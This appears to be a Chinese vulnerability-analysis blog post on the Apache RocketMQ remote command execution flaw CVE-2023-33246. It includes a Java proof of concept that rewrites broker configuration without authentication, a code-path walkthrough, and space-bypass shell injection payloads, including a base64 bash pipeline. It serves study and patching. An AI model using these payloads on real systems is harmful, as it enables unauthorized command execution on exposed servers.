1.漏洞介绍

Apache RocketMQ 存在远程命令执行漏洞(CVE-2023-33246)。RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。

2.影响版本:

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

3.Idea配置

1
2
3
4
5
6
7
8
9
10
11
nameserver
mainClass:org.apache.rocketmq.namesrv.NamesrvStartup



broker
mainClass:org.apache.rocketmq.broker.BrokerStartup
arguments:-c F:\Code\Java\rocketmq\rocketmq\rocketmq-all-5.1.0\distribution\conf\broker.conf



POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import org.junit.Test;

import java.util.Properties;

/**
* @ClassName RceTest
* @Description TODO
* @Date 2023/6/12 18:22
**/

public class RceTest {

@Test
public void updateConfig() throws Exception{
Properties properties = new Properties();
properties.setProperty("rocketmqHome", "testtesttesttesttesttesttesttesttesttesttesttest");
properties.setProperty("filterServerNums","1");

DefaultMQAdminExt adminExt = new DefaultMQAdminExt(60000);
adminExt.setNamesrvAddr("localhost:9876");
adminExt.start();

adminExt.updateBrokerConfig("127.0.0.1:10911",properties);

Properties brokerConfig = adminExt.getBrokerConfig("localhost:10911");

System.out.println(brokerConfig.getProperty("rocketmqHome"));
System.out.println(brokerConfig.getProperty("filterServerNums"));
adminExt.shutdown();

}
}

4.漏洞调试

攻击路径:

未授权访问NameServer(默认9876端口)和Broker(默认10911端口)–>更新Broker配置文件中的rocketmqHome和filterServerNums–>Broker加载配置文件中的rocketmqHome值并拼接进行命令执行

更新broker配置文件,rocketmqHome中为要执行命令,filterServerNums设置为1是为了在createFilterServer使more不为0,从而进入下面的callshell方法

image-20230801144218365

linux下为应用根目录的distribution/broker.conf文件

windows下为应用根目录的distribution/DefaultCluster_broker-a_0.properties文件

image-20230801144240745

broker:

BrokerStartup$main(),进入BrokerStartup$start()中的controller.start()

image-20230801144656702

跟进进入startBasicService(),这个方法启动Broker各个组件,进入filterServerManager$start()方法

image-20230801151110414

通过scheduleAtFixedRate()实现定时任务,每30秒执行一次

image-20230801151347499

进入this.createFilterServer(),要保证more>0,才能进入callShell()

image-20230801152942461

跟进this.buildStartCommand()方法拼接command,分别拼接了broker.conf文件、nameserver地址和startfsrv.sh(linux下)+broker.conf中rockermqhome的值

image-20230801153235692

最终命令被拼接成了”sh recketmqhome/bin/startfsrv.sh -c broker.conf -n nameserveraddress”

跟进callShell方法,cmd命令被以空格分割为了数组,最终exec调用了cmdArray

image-20230801154505952

问题:

windows未执行成功,没找到执行命令的方法

技巧:

linux下有两种绕空格执行命令方式

1
2
3
4
5
6
$@|sh . echo curl 127.0.0.1;
$@作为一个特殊变量,它表示传递给脚本或命令的所有参数,直接将echo后面的值作为一个整体传递给$@,解决了拆分命令的问题。


-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";
使用${IFS}绕过空格

5.参考

https://paper.seebug.org/2081/